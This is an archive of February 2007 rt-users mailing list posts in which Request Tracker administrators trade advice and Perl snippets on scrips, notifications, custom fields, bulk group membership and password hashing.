From joe.casadonte at oracle.com  Thu Feb 15 09:08:45 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Thu, 15 Feb 2007 09:08:45 -0500
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
References: <45D32476.3050906@oracle.com>
	<6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
Message-ID: <45D4696D.3050206@oracle.com>

On 2/15/2007 3:06 AM, Jesse Vincent wrote:

> On Feb 14, 2007, at 4:02 PM, Joe Casadonte wrote:
> 
>> Would this be easy to hack in?  I haven't touched the schema at all, 
>> so I don't know what's involved....
>>
> 
> It's certainly possible with the architecture. What are you looking to 
> use it for?

Specifically, I'm looking to set up a queue owner who gets notified of 
new tickets, but is not added as a Cc or AdminCc to the ticket itself. 
In general, it could be used for holding all sorts of information to be 
used by Scrips or reports.  Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From jesse at bestpractical.com  Thu Feb 15 09:15:10 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Thu, 15 Feb 2007 09:15:10 -0500
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <45D4696D.3050206@oracle.com>
References: <45D32476.3050906@oracle.com>
	<6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
	<45D4696D.3050206@oracle.com>
Message-ID: <20070215141509.GZ25008@bestpractical.com>




On Thu, Feb 15, 2007 at 09:08:45AM -0500, Joe Casadonte wrote:
> On 2/15/2007 3:06 AM, Jesse Vincent wrote:
> 
> >On Feb 14, 2007, at 4:02 PM, Joe Casadonte wrote:
> >
> >>Would this be easy to hack in?  I haven't touched the schema at all, 
> >>so I don't know what's involved....
> >>
> >
> >It's certainly possible with the architecture. What are you looking to 
> >use it for?
> 
> Specifically, I'm looking to set up a queue owner who gets notified of 
> new tickets, but is not added as a Cc or AdminCc to the ticket itself. 


For that, create an "On Create, Notify Other Recipients" scrip with a
template with a To: line of the people you want to notify.

> In general, it could be used for holding all sorts of information to be 
> used by Scrips or reports.  Thanks!

For that, you probably want Attributes, not Custom Fields. (though CFs
would work if coded)

> 
> -- 
> Regards,
> 
> 
> joe
> Joe Casadonte
> joe.casadonte at oracle.com
> 
> ==========                                                  ==========
> == The statements and opinions expressed here are my own and do not ==
> == necessarily represent those of Oracle Corporation.               ==
> ==========                                                  ==========
> 

-- 


From joe.casadonte at oracle.com  Thu Feb 15 09:36:54 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Thu, 15 Feb 2007 09:36:54 -0500
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <20070215141509.GZ25008@bestpractical.com>
References: <45D32476.3050906@oracle.com>
	<6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
	<45D4696D.3050206@oracle.com>
	<20070215141509.GZ25008@bestpractical.com>
Message-ID: <45D47006.6060708@oracle.com>

On 2/15/2007 9:15 AM, Jesse Vincent wrote:

>> Specifically, I'm looking to set up a queue owner who gets notified of 
>> new tickets, but is not added as a Cc or AdminCc to the ticket itself. 
> 
> For that, create an "On Create, Notify Other Recipients" scrip with a
> template with a To: line of the people you want to notify.

Thanks, wasn't sure how the "Notify Other Recipients" worked exactly. 
But I would then need to do that for each Queue, whereas if I had some 
way to specify the To: on the Queue itself, I could have one, global scrip.

>> In general, it could be used for holding all sorts of information to be 
>> used by Scrips or reports.  Thanks!
> 
> For that, you probably want Attributes, not Custom Fields. (though CFs
> would work if coded)

What are Attributes with a capital 'A'?  Or am I reading too much into it?

Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From bobg at uic.edu  Thu Feb 15 10:35:39 2007
From: bobg at uic.edu (Bob Goldstein)
Date: Thu, 15 Feb 2007 09:35:39 -0600
Subject: [rt-users] No Answers :-( 
In-Reply-To: Your message of "Wed, 14 Feb 2007 21:33:18 EST."
	<45D3C66E.5060607@yahoo.com> 
Message-ID: <200702151535.l1FFZdMe010100@remora.cc.uic.edu>


Don't take this the wrong way, but RT is commercial as well as
open source. I've been pleased with RT and the list, but I never
felt entitled to specific answers. I do read the code when I need
to, and I answer questions when I have time and expertise. But if
I didn't have the time or skill to do that, and I had to have
timely answers for a production system, I'd consider buying a
support contract.  In fact, one of the selling points of RT
here, is if I were to get hit by a beer truck, the organization
could get commercial support and continue.

  bobg


>Torben,
>
>I too, have had issues with questions I've asked going unanswered.
>Initially, I thought it was due to people just not caring to answer
>them.  However, having been posting to this mailing list for a while
>now, I've come to realize that a lot of questions get posted and it is
>easy to lose one or two in the mix.  I've asked a few of the questions
>I've had more than once usually getting some kind of answer eventually.
> Even people don't know the answer, they will generally let you know.
>If you don't get an answer the first time, ask again.  Eventually you will
>
>Mathew
>
>Torben Nehmer wrote:
>> Hi,
>>  
>> I have been using RT for a while now and I must say that I am very happy
>> with it as a product.
>>  
>> What I'm a bit dissapointed is the fact, that I didn't get any response
>> at all to two questions I have been asking here on the list, one about a
>> Problem with text/html mails [1], and another about default ticket
>> filtres [2].
>>  
>> [1]: http://lists.fsck.com/pipermail/rt-users/2006-November/042987.html,
>> http://lists.fsck.com/pipermail/rt-users/2006-November/043010.html,
>> http://lists.fsck.com/pipermail/rt-users/2006-November/043011.html,
>> http://lists.fsck.com/pipermail/rt-users/2006-November/043012.html
>> [2]: http://lists.fsck.com/pipermail/rt-users/2007-January/043699.html
>>  
>> In both cases I'd be happy even with a first few insights where to start
>> searching. I have quite some experience in application development in
>> itself, but I have almost no knowledge of RT internals and not the time
>> to spend hours in understanding the whole architecture. Heck, even
>> pointers at existing Documents etc. would be a help, I searched for the
>> problems, but i didn't find anything useful.
>>  
>> I know that support is always a problem with open source software (I
>> have been leading an OSS Project for years), but just not answering in
>> any way isn't exactly what I'd expect. Please don't destroy the very
>> good impression I currently have from RT by letting this slide entirely.
>> Currently our RT instance here is only used by a few people, but we have
>> plans of opening it up to around a thousand employees here and there it
>> will be a problem.
>> 
>> Yours sincerely,
>> Torben Nehmer
>> 
>> -------
>> Torben Nehmer
>> Diplom Informatiker (FH)
>> Business System Developer
>> 
>> CANCOM Deutschland GmbH
>> Messerschmittstr. 20
>> 89343 Scheppach
>> Germany
>> 
>> Phone: +49 (0)8225 - 996-1118
>> Fax: +49 (0)8225 - 996-41118
>> torben.nehmer at cancom.de <mailto:torben.nehmer at cancom.de>
>> 
>> CANCOM Deutschland GmbH
>> Sitz der Gesellschaft: Jettingen-Scheppach
>> HRB 10653 Memmingen
>> Gesch??ftsf??hrer: Paul Holdschik, Christian Linder
>> 
>> 
>> ------------------------------------------------------------------------
>> 
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> 
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>> 
>> 
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>> Buy a copy at http://rtbook.bestpractical.com
>_______________________________________________
>http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
>Community help: http://wiki.bestpractical.com
>Commercial support: sales at bestpractical.com
>
>
>Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
>Buy a copy at http://rtbook.bestpractical.com
>


From ESchultz at corp.untd.com  Thu Feb 15 10:44:41 2007
From: ESchultz at corp.untd.com (Schultz, Eric)
Date: Thu, 15 Feb 2007 07:44:41 -0800
Subject: [rt-users] No Answers :-( 
References: <200702151535.l1FFZdMe010100@remora.cc.uic.edu>
Message-ID: <5613F89D78D2F545A40423EBA5535C3015DEA930@LAXEVS01.lax.corp.int.untd.com>


> Don't take this the wrong way, but RT is commercial as well as
> open source. I've been pleased with RT and the list, but I never
> felt entitled to specific answers. I do read the code when I need
> to, and I answer questions when I have time and expertise. But if
> I didn't have the time or skill to do that, and I had to have
> timely answers for a production system, I'd consider buying a
> support contract.  In fact, one of the selling points of RT
> here, is if I were to get hit by a beer truck, the organization
> could get commercial support and continue.

The odds of getting hit by a beer truck are greatly reduced if you don't
try and filch anything from the back while they are trying to leave :-)


From torsten.brumm at kuehne-nagel.com  Thu Feb 15 11:04:11 2007
From: torsten.brumm at kuehne-nagel.com (Torsten Brumm | Kuehne + Nagel)
Date: Thu, 15 Feb 2007 17:04:11 +0100
Subject: [rt-users] CLI Question - Add Users to group per Scrip
Message-ID: <C1FA430B.47DA%torsten.brumm@kuehne-nagel.com>

Hi,

Again just another question for the CLI Part. Has anyone a idea how to add a
set of users per scrip to a group?

Lets say, i have a list of 500 User that are needed to be member of a single
group?
-- 
With kindest regards

Torsten Brumm
Kuehne + Nagel 
Datacenter Hamburg
Bauerbergweg 25
22111 Hamburg

Tel: +49 40 3033 33 199
Fax: +49 40 3033 344 3199
Gsm: +49 40 176 27 27 18 50
Mail: torsten.brumm at kuehne-nagel.com
Web: www.kuehne-nagel.com



From ruslan.zakirov at gmail.com  Thu Feb 15 11:47:36 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Thu, 15 Feb 2007 19:47:36 +0300
Subject: [rt-users] How does RT encrypt passwords?
In-Reply-To: <1171506695.17233.68.camel@kriticals_workstation>
References: <1171407770.17233.4.camel@kriticals_workstation>
	<B2E89743C79B364482E6AE35414E516201EABAF2@mail.buschs.net>
	<1171506695.17233.68.camel@kriticals_workstation>
Message-ID: <589c94400702150847h537604cetb4a42356836fd94@mail.gmail.com>

Read FAQ on the wiki for more info.

On 2/15/07, Paul England <pengland at wxc.co.nz> wrote:
> Thanks a lot =)
>
> On Wed, 2007-02-14 at 08:44 -0500, Jacob Helwig wrote:
> > use Digest::MD5;
> >
> > my $md5 = Digest::MD5->new();
> >
> > $md5->add("password goes here");
> >
> > my $cryptedPass = $md5->hexdigest;
> >
> >
> > > -----Original Message-----
> > > From: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-
> > > bounces at lists.bestpractical.com] On Behalf Of Paul England
> > > Sent: Tuesday, February 13, 2007 18:03
> > > To: rt-users at lists.bestpractical.com
> > > Subject: [rt-users] How does RT encrypt passwords?
> > >
> > > Hi there,
> > >
> > > Can anyone tell me what method RT uses to encrypt passwords in mysql?
> > >
> > > Thank you
> > >
> > > Paul England, Auckland
> > > _______________________________________________
> > > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> > >
> > > Community help: http://wiki.bestpractical.com
> > > Commercial support: sales at bestpractical.com
> > >
> > >
> > > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > > Buy a copy at http://rtbook.bestpractical.com
> >
> > _______________________________________________
> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> >
> > Community help: http://wiki.bestpractical.com
> > Commercial support: sales at bestpractical.com
> >
> >
> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> > Buy a copy at http://rtbook.bestpractical.com
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From bobg at uic.edu  Thu Feb 15 11:54:25 2007
From: bobg at uic.edu (Bob Goldstein)
Date: Thu, 15 Feb 2007 10:54:25 -0600
Subject: [rt-users] CLI Question - Add Users to group per Scrip 
In-Reply-To: Your message of "Thu, 15 Feb 2007 17:04:11 +0100."
	<C1FA430B.47DA%torsten.brumm@kuehne-nagel.com> 
Message-ID: <200702151654.l1FGsP6a010734@remora.cc.uic.edu>

>Hi,
>
>Again just another question for the CLI Part. Has anyone a idea how to add a
>set of users per scrip to a group?
>
>Lets say, i have a list of 500 User that are needed to be member of a single
>group?

  This isn't a direct answer, but several months ago I was wrestling with
  a similar issue of users and groups.  Although I'm sure I could hammer
  in some code to do this, after reading through the REST code, I started
  thinking about what would be involved in a REST2 interface, something
  that would provide more structure for extensions or modifications
  on the server end.

  I haven't coded anything yet, but I did write up some notes
  on what a new wire protocol and code organization might be like.

     http://tigger.uic.edu/~bobg/rt_api.html

  Comments are welcome.  I'm mostly convinced, but not 100%
  sure this is a good way to go.  And probably my notes
  would change if/when I start building this.

     bobg


From kamber.dalal at verizonbusiness.com  Thu Feb 15 11:55:40 2007
From: kamber.dalal at verizonbusiness.com (Dalal, Kamber Z (Kamber))
Date: Thu, 15 Feb 2007 16:55:40 +0000
Subject: [rt-users] Default Script used in Reply
Message-ID: <2ACF6489BC112B4F9C8956BADB9228E60558D2C7@ASHEVS005.mcilink.com>

Which script and template is used when replying thru the Reply link in
the ticket history?  The template which includes all correspondence up
to that point.
 
Thank you,
Kamber Dalal
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From KFCrocker at lbl.gov  Thu Feb 15 12:25:52 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 15 Feb 2007 09:25:52 -0800
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <45D4696D.3050206@oracle.com>
References: <45D32476.3050906@oracle.com>
	<6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
	<45D4696D.3050206@oracle.com>
Message-ID: <45D497A0.5040602@lbl.gov>

Joe,


	It's my understanding that "cc" watcher is NOT the same as a "cc" on a 
ticket. Therefore, you could set up an "on create" scrip to notify "cc" 
watchers. Hope this helps.

Kenn
LBNL

Joe Casadonte wrote:
> On 2/15/2007 3:06 AM, Jesse Vincent wrote:
> 
>> On Feb 14, 2007, at 4:02 PM, Joe Casadonte wrote:
>>
>>> Would this be easy to hack in?  I haven't touched the schema at all, 
>>> so I don't know what's involved....
>>>
>>
>> It's certainly possible with the architecture. What are you looking to 
>> use it for?
> 
> Specifically, I'm looking to set up a queue owner who gets notified of 
> new tickets, but is not added as a Cc or AdminCc to the ticket itself. 
> In general, it could be used for holding all sorts of information to be 
> used by Scrips or reports.  Thanks!
> 


From KFCrocker at lbl.gov  Thu Feb 15 12:34:09 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 15 Feb 2007 09:34:09 -0800
Subject: [rt-users] Default Script used in Reply
In-Reply-To: <2ACF6489BC112B4F9C8956BADB9228E60558D2C7@ASHEVS005.mcilink.com>
References: <2ACF6489BC112B4F9C8956BADB9228E60558D2C7@ASHEVS005.mcilink.com>
Message-ID: <45D49991.3080908@lbl.gov>

Dalal,


	Depends on the type of reply. There is the Reply (reply button) that is 
basically the initiation of an E_mail and a scrip will control who gets 
it. Then, there is the RT transaction reply that is initiated if you 
have a scrip to do so, like the RT reply initiated when a ticket is 
created if there is an "on create" scrip in place. Then you have to 
consider the application which is either global or Queue by Queue. You 
need to be a bit more specific.

Kenn
LBNL

Dalal, Kamber Z (Kamber) wrote:
> Which script and template is used when replying thru the Reply link in 
> the ticket history?  The template which includes all correspondence up 
> to that point.
>  
> Thank you,
> Kamber Dalal
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From joe.casadonte at oracle.com  Thu Feb 15 12:49:50 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Thu, 15 Feb 2007 12:49:50 -0500
Subject: [rt-users] Require entry in Worked: field
In-Reply-To: <45D4346B.7000709@sun.com>
References: <20070215082459.07B024D8260@diesel.bestpractical.com>
	<45D4346B.7000709@sun.com>
Message-ID: <45D49D3E.9000106@oracle.com>

On 2/15/2007 5:22 AM, Richard Ellis wrote:
> We also have this in our local/html/Ticket/Update.html
> 
> if ($DefaultStatus eq 'resolved') {
>     # if we are resolving a ticket and there has been no time submitted,
>     # do not allow the ticket to resolve.  must check that SubmitTicket is
>     # set, or we prevent the close page from loading and thus NO ticket can
>     # be resolved.
>     if ((! defined($TicketObj->TimeWorked) or $TicketObj->TimeWorked == 
> 0) and
>         $ARGS{'UpdateTimeWorked'} <= 0 and
>         exists $ARGS{'SubmitTicket'} ) {
>         Abort("You cannot resolve a ticket with zero time worked. Please 
> reselect the ticket and try again");
>     }

An alternate approach would be to use JavaScript.  I have done this to 
make Subject a mandatory field.  Both approaches have strong pluses and 
minuses, and it may come down to a simple question of aesthetics.  The 
JavaScript approach is shown here:

    http://wiki.bestpractical.com/index.cgi?MandatorySubject

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From joe.casadonte at oracle.com  Thu Feb 15 12:59:29 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Thu, 15 Feb 2007 12:59:29 -0500
Subject: [rt-users] CLI Question - Add Users to group per Scrip
In-Reply-To: <C1FA430B.47DA%torsten.brumm@kuehne-nagel.com>
References: <C1FA430B.47DA%torsten.brumm@kuehne-nagel.com>
Message-ID: <45D49F81.6070506@oracle.com>

On 2/15/2007 11:04 AM, Torsten Brumm | Kuehne + Nagel wrote:

> Again just another question for the CLI Part. Has anyone a idea how to add a
> set of users per scrip to a group?
> 
> Lets say, i have a list of 500 User that are needed to be member of a single
> group?

I did something similar via a full perl script (as opposed to using the 
CLI).  Here are some excerpts (untested in this form):

#!/usr/bin/perl -w

use strict;
use lib "/opt/rt3/lib";

use RT;
use RT::Interface::CLI qw(CleanEnv GetCurrentUser);
use RT::Group;
use RT::User;

CleanEnv();
RT::LoadConfig();
RT::Init();

my($groupname) = 'FooBar';
my($group) = RT::Group->new($RT::SystemUser);
$group->LoadUserDefinedGroup($groupname);
die qq([ERROR] Cannot load group "$groupname"\n) unless $group->id;

my(@users) = GetListOfUsernames();
foreach my $username (@users) {
    my($user) = RT::User->new($RT::SystemUser);
    $user->Load($username);
    die qq([ERROR] Could not load user "$username" -- see log for 
details\n) unless $user->id;

    my($status, $msg) = $Groups->{$groupname}->AddMember($user->id);
    die qq([ERROR] Cannot add user "$id" to group "$groupname" - $msg\n) 
unless $status;
}

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From KFCrocker at lbl.gov  Thu Feb 15 13:42:09 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 15 Feb 2007 10:42:09 -0800
Subject: [rt-users] Source of new ticket: Web or email?
In-Reply-To: <45D418BF.4000705@kereval.com>
References: <45D3B1C9.3090804@oracle.com> <45D418BF.4000705@kereval.com>
Message-ID: <45D4A981.6090207@lbl.gov>

To all,


	I am trying to determine if a ticket is being created via E_mail and if 
so move the subject to a custom field named "Description". I tried to 
use this code as follows:

#----------------------------------------------------------------------------
# Custom condition: none
#----------------------------------------------------------------------------
# Custom action preparation code:

my $trans;
my $msgattr;
my $cf_obj;
my $cf_name;
my $cf_value;

# set description

$cf_obj = RT::CustomField->new($RT::SystemUser);
$cf_name = "Description";
$cf_value = $self->TicketObj->Subject();
$RT::Logger->debug( $self . " cf_value = ". $cf_value . "\n" );
$cf_obj->LoadByName( Name => $cf_name );
$RT::Logger->debug( "Loaded \$cf_obj->Name = ". $cf_obj->Name() ."\n" );
$cf_obj->AddValueForObject( Object=>$self->TicketObj, Content=>$cf_value, );

# determine source of transaction

$trans = $self->TransactionObj;
return 0 unless $trans->Type eq "Create";
$msgattr = $trans->Message->First;
return 0 unless $msgattr;
return 1 if $msgattr->GetHeader('Received');
return 0;


	It isn't working for me. Can anyone find the problem in my code? Thanks.


Kenn
LBNL

Marouane HIMDI wrote:
> Have a look at RT WIKI
> http://wiki.bestpractical.com/index.cgi?OnCreateFromEmail
> 
> Best regards
> 
> Marouane HIMDI
> 
> Joe Casadonte a ?crit :
>> Is there any way, specifically in a scrip, to determine if the ticket 
>> just created was done via the Web UI or via an email?  I would like to 
>> disable auto-replies for web transactions where the requestor is also 
>> the principal (they get instant feedback; they don't need or want the 
>> additional email).
>>
>> Thanks!
>>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy 
> a copy at http://rtbook.bestpractical.com
> 


From ruslan.zakirov at gmail.com  Thu Feb 15 14:07:46 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Thu, 15 Feb 2007 22:07:46 +0300
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <20070215141509.GZ25008@bestpractical.com>
References: <45D32476.3050906@oracle.com>
	<6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
	<45D4696D.3050206@oracle.com>
	<20070215141509.GZ25008@bestpractical.com>
Message-ID: <589c94400702151107g33a598f5xf787e96436e90f99@mail.gmail.com>

On 2/15/07, Jesse Vincent <jesse at bestpractical.com> wrote:
>
> On Thu, Feb 15, 2007 at 09:08:45AM -0500, Joe Casadonte wrote:
> > On 2/15/2007 3:06 AM, Jesse Vincent wrote:
> >
> > >On Feb 14, 2007, at 4:02 PM, Joe Casadonte wrote:
> > >
> > >>Would this be easy to hack in?  I haven't touched the schema at all,
> > >>so I don't know what's involved....
> > >>
> > >
> > >It's certainly possible with the architecture. What are you looking to
> > >use it for?
> >
> > Specifically, I'm looking to set up a queue owner who gets notified of
> > new tickets, but is not added as a Cc or AdminCc to the ticket itself.
>
>
> For that, create an "On Create, Notify Other Recipients" scrip with a
> template with a To: line of the people you want to notify.
Or use NotifyGroup extension available from the CPAN.

>
> > In general, it could be used for holding all sorts of information to be
> > used by Scrips or reports.  Thanks!
>
> For that, you probably want Attributes, not Custom Fields. (though CFs
> would work if coded)
>
> >
> > --
> > Regards,
> >
> >
> > joe
> > Joe Casadonte
> > joe.casadonte at oracle.com


-- 
Best regards, Ruslan.


From jmctavish at matrixorbital.ca  Thu Feb 15 14:16:10 2007
From: jmctavish at matrixorbital.ca (James McTavish)
Date: Thu, 15 Feb 2007 12:16:10 -0700
Subject: [rt-users] Automatic CC owner on take
Message-ID: <A84FDA39-3203-43E8-85DD-6F25B7A49252@matrixorbital.ca>

We currently use RT for our sales and technical support queries.  Our  
sales department really doesn't like having to go through the browser  
to do their correspondence, they would prefer just using email.  So  
I've cooked up a quick an dirty method that *should* work, if only I  
could figure it out.

What I would like to happen is that when someone takes a ticket, it  
adds them to the CC list and emails them the initial message.  This  
way all they have to use their browser for is take the ticket.  I've  
been going through the mailing list, and the wiki, cobbling together  
something that I thought should work, but alas, it only partially  
works.  I'm hoping that someone can tell me what I'm doing wrong, and  
at least give me a direction to go.  For all I know, I'm  
overcomplicating things, and there is a MUCH simpler means to  
accomplish this.

My scrip so far is:

Condition: User Defined:

my $trans = $self->TransactionObj;
return 0 unless $trans->Field eq 'Owner';
return 1 if $trans->OldValue == RT::Nobody(  )->id(  );
return 0;

Action: User Defined:

Custom action preparation code:
my $new_id = $self->TransactionObj->NewValue;
my $new_user = RT::User->new();
$new_user->Load($new_id);
my $new_email = $new_user->EmailAddress();
$self->TicketObj->AddWatcher( Type => "Cc",
                              Email => $new_email);
return 1;

Custom action cleanup code:
return 1;

Template:

To: {$Ticket->OwnerObj->EmailAddress }

{$Ticket->Transactions->First->Content()}

As I've said, this only partially works.  The new owner does in fact  
get added as a CC, however no email is sent.  I check the logs and a  
few things jump out:

The scip itself generates this warning:

Feb 15 12:08:26 rt RT:  at //var/www/rt/rt-3.6.3/lib/RT/Base.pm line 92
Feb 15 12:08:26 rt      RT::Base::CurrentUser('RT::User=HASH 
(0xf69eb14)') called at //var/www/rt/rt-3.6.3/lib/RT/Record.pm line 90
Feb 15 12:08:26 rt      RT::Record::_Init('RT::User=HASH(0xf69eb14)')  
called at //var/www/rt/rt-3.6.3/lib/RT/User.pm line 79
Feb 15 12:08:26 rt      RT::User::_Init('RT::User=HASH(0xf69eb14)')  
called at /usr/lib/perl5/vendor_perl/5.8.8/DBIx/SearchBuilder/ 
Record.pm line 362
Feb 15 12:08:26 rt      DBIx::SearchBuilder::Record::new('RT::User')  
called at (eval 749) line 2
Feb 15 12:08:26 rt      eval ' my $last_id = $self->TransactionObj- 
 >NewValue;
Feb 15 12:08:26 rt my $temp_user = RT::User->new();
Feb 15 12:08:26 rt $temp_user->Load($last_id);
Feb 15 12:08:26 rt my $last_email = $temp_user->EmailAddress();
Feb 15 12:08:26 rt $self->TicketObj->AddWatcher( Type => "Cc",
Feb 15 12:08:26 rt Email => $last_email);
Feb 15 12:08:26 rt push( @{$self->{\'To\'}},
Feb 15 12:08:26 rt $self->TicketObj->QueueObj->Cc- 
 >MemberEmailAddresses );
Feb 15 12:08:26 rt return 1;' called at //var/www/rt/rt-3.6.3/lib/RT/ 
Action/UserDefined.pm line 63
Feb 15 12:08:26 rt      RT::Action::UserDefined::Prepare 
('RT::Action::UserDefined=HASH(0xf66cec8)') called at //var/www/rt/ 
rt-3.6.3/lib/RT/ScripAction_Overlay.pm line 232
Feb 15 12:08:26 rt      RT::ScripAction::Prepare('RT::ScripAction=HASH 
(0xf692ad0)') called at //var/www/rt/rt-3.6.3/lib/RT/Scrip_Overlay.pm  
line 476
Feb 15 12:08:26 rt      eval {...} called at //var/www/rt/rt-3.6.3/ 
lib/RT/Scrip_Overlay.pm line 470
<<<SNIP>>>>
Feb 15 12:08:26 rt RT: RT::User=HASH(0xf69eb14) was created without a  
CurrentUser 1 (//var/www/rt/rt-3.6.3/lib/RT/Base.pm:92)

And finishes up with

Feb 15 12:08:26 rt RT: About to think about scrips for transaction  
#458213
Feb 15 12:08:26 rt RT: About to prepare scrips for transaction #458213
Feb 15 12:08:26 rt RT: Found 2 scrips
Feb 15 12:08:26 rt RT: About to commit scrips for transaction #458213
Feb 15 12:08:26 rt RT: About to commit scrips for transaction #458212
Feb 15 12:08:26 rt RT:  
<rt-3.6.3-3363-1171566506-1830.41458-2-0 at matrixorbital.ca>  
#41458/458212 - Scrip 2  (//var/www/rt/rt-3.6.3/lib/RT/Action/ 
SendEmail.pm:243)
Feb 15 12:08:26 rt RT:  
<rt-3.6.3-3363-1171566506-1830.41458-2-0 at matrixorbital.ca> No  
recipients found. Not sending. (//var/www/rt/rt-3.6.3/lib/RT/Action/ 
SendEmail.pm:255)

Any help at all would be greatly appreciated.

--
-James



From sturner at MIT.EDU  Thu Feb 15 14:35:50 2007
From: sturner at MIT.EDU (Stephen Turner)
Date: Thu, 15 Feb 2007 14:35:50 -0500
Subject: [rt-users] Source of new ticket: Web or email?
In-Reply-To: <45D4A981.6090207@lbl.gov>
References: <45D3B1C9.3090804@oracle.com> <45D418BF.4000705@kereval.com>
	<45D4A981.6090207@lbl.gov>
Message-ID: <6.2.3.4.2.20070215143346.0380ba50@po14.mit.edu>

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From jmctavish at matrixorbital.ca  Thu Feb 15 16:49:30 2007
From: jmctavish at matrixorbital.ca (James McTavish)
Date: Thu, 15 Feb 2007 14:49:30 -0700
Subject: [rt-users] Automatic CC owner on take
In-Reply-To: <A84FDA39-3203-43E8-85DD-6F25B7A49252@matrixorbital.ca>
References: <A84FDA39-3203-43E8-85DD-6F25B7A49252@matrixorbital.ca>
Message-ID: <07DBD6D0-3AD3-41AF-9E75-5EDD02B43701@matrixorbital.ca>

Well, after actually looking at what I wrote, I simplified the action  
dramatically:

$self->TicketObj->AddWatcher( Type => "Cc",
                               Email => $self->TicketObj->OwnerObj- 
 >EmailAddress);
return 1;

Which works perfectly with no weird log messages, but still:

Feb 15 14:42:44 rt RT: About to commit scrips for transaction #458227
Feb 15 14:42:44 rt RT: About to commit scrips for transaction #458226
Feb 15 14:42:44 rt RT:  
<rt-3.6.3-3363-1171575757-228.41458-2-0 at matrixorbital.ca>  
#41458/458226 - Scrip 2  (//var/www/rt/rt-3.6.3/lib/RT/Action/ 
SendEmail.pm:243)
Feb 15 14:42:44 rt RT:  
<rt-3.6.3-3363-1171575757-228.41458-2-0 at matrixorbital.ca> No  
recipients found. Not sending. (//var/www/rt/rt-3.6.3/lib/RT/Action/ 
SendEmail.pm:255)

I've even tried putting my hard-wired email address in the template,  
and still refuses to send out the notice.

On 15-Feb-07, at 12:16 PM, James McTavish wrote:

> We currently use RT for our sales and technical support queries.   
> Our sales department really doesn't like having to go through the  
> browser to do their correspondence, they would prefer just using  
> email.  So I've cooked up a quick an dirty method that *should*  
> work, if only I could figure it out.
>
> What I would like to happen is that when someone takes a ticket, it  
> adds them to the CC list and emails them the initial message.  This  
> way all they have to use their browser for is take the ticket.   
> I've been going through the mailing list, and the wiki, cobbling  
> together something that I thought should work, but alas, it only  
> partially works.  I'm hoping that someone can tell me what I'm  
> doing wrong, and at least give me a direction to go.  For all I  
> know, I'm overcomplicating things, and there is a MUCH simpler  
> means to accomplish this.
>
> My scrip so far is:
>
> Condition: User Defined:
>
> my $trans = $self->TransactionObj;
> return 0 unless $trans->Field eq 'Owner';
> return 1 if $trans->OldValue == RT::Nobody(  )->id(  );
> return 0;
>
> Action: User Defined:
>
> Custom action preparation code:
> my $new_id = $self->TransactionObj->NewValue;
> my $new_user = RT::User->new();
> $new_user->Load($new_id);
> my $new_email = $new_user->EmailAddress();
> $self->TicketObj->AddWatcher( Type => "Cc",
>                              Email => $new_email);
> return 1;
>
> Custom action cleanup code:
> return 1;
>
> Template:
>
> To: {$Ticket->OwnerObj->EmailAddress }
>
> {$Ticket->Transactions->First->Content()}
>
